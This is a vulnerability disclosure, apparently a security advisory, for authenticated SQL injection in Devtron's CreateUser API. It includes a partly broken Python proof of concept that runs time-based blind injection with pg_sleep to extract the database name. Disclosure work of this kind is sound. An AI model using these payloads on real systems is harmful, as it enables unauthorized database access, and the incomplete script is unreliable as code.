Summary
An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).
Details
The API is CreateUser (/orchestrator/user).
The function to read user input is:
https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104
The userInfo (line 104) parameter can be controlled by users.
The SQL injection can happen in the code:
https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038
The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.
The user should be authenticated but only needs minimum permissions:
PoC
Demonstrate a blind SQL injection to retrieve the database name:
import requests
import time
import string
import argparse
def blind(ip, token, query):
url = f"http://{ip}/orchestrator/user"
headers = {"token": token}
entity = "chart-group"
payload = f"'; {query} --"
data = {"id": 111, "email_id": "[email protected]", "superAdmin": False, "roleFilters":[{"team":"", "environment":"", "action": "", "entity": entity, "accessType": payload}]} #"EntityName": "test", "AccessType": "test", "Cluster": "",\"NameSpace": "devtroncd", "Group": "", "Kind": "", "Resource": "", "Workflow": ""
start = time.time()
res = requests.post(url, headers=headers, json = data)
end = time.time()
#print(res.content)
if(end - start > 1):
return True
return False
def main(ip, token):
chs = string.printable
result = ""

i = 1
while(not is_end):

for ch in chs:
if(blind(ip, token, f"select case when substring(datname,{i},1)='{ch}' then pg_sleep(1) else pg_sleep(0) end from pg_database limit 1;")):

argparser.add_argument("--ip", "-i", type=str, help="Target IP")
argparser.add_argument("--token", "-t", type=str, help="API TOKEN")
args = argparser.parse_args()
main(args.ip, args.token)
The debugging breakpoint indicated that the malicious SQL query was executed:
We can see that we can get the database name:
Impact
SQL injection vulnerability. Our tests indicate that the latest version is affected.
